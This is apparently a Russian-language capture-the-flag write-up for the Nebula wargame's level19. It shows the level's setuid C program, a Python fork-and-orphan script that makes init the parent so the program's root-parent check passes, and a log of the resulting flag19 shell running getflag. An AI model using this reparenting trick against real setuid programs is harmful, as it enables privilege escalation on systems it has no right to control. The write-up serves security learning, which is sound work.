В описании к уровню говорится о том, что в программе есть ошибка, и искать её нужно в рантайме:

level19.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}


Судя по коду, нужно, чтобы процесс был как-то запущен с UID=0. После некоторых поисков, находим статью, из которой узнаём, что если создать форк процесса, а затем убить его родителя, то система автоматически назначит этому форку нового родителя: процесс с PID=1 или так называемый init.

На Python, реализация такого подхода выглядит следующим образом:

#!/usr/bin/python
import os, time

def child():
    print 'Child ', os.getpid()
    time.sleep(1)
    print "Running shell..."
    os.execv("/home/flag19/flag19", ('sh',))


def parent():
    newpid = os.fork()
    if newpid == 0:
        child()
    else:
        pids = (os.getpid(), newpid)
        print "parent: %d, child: %d" % pids

parent()

После запуска, получаем нужный нам шелл:

level19@nebula:/home/flag19$ cat|python /tmp/flag19.py 
parent: 3828, child: 3829
Child  3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account

На этом всё.
Теги:
Хабы:
+17
Комментарии 1
Комментарии Комментарии 1

Публикации

Истории

Работа

Ближайшие события

Московский туристический хакатон
Дата 23 марта – 7 апреля
Место
Москва Онлайн
Геймтон «DatsEdenSpace» от DatsTeam
Дата 5 – 6 апреля
Время 17:00 – 20:00
Место
Онлайн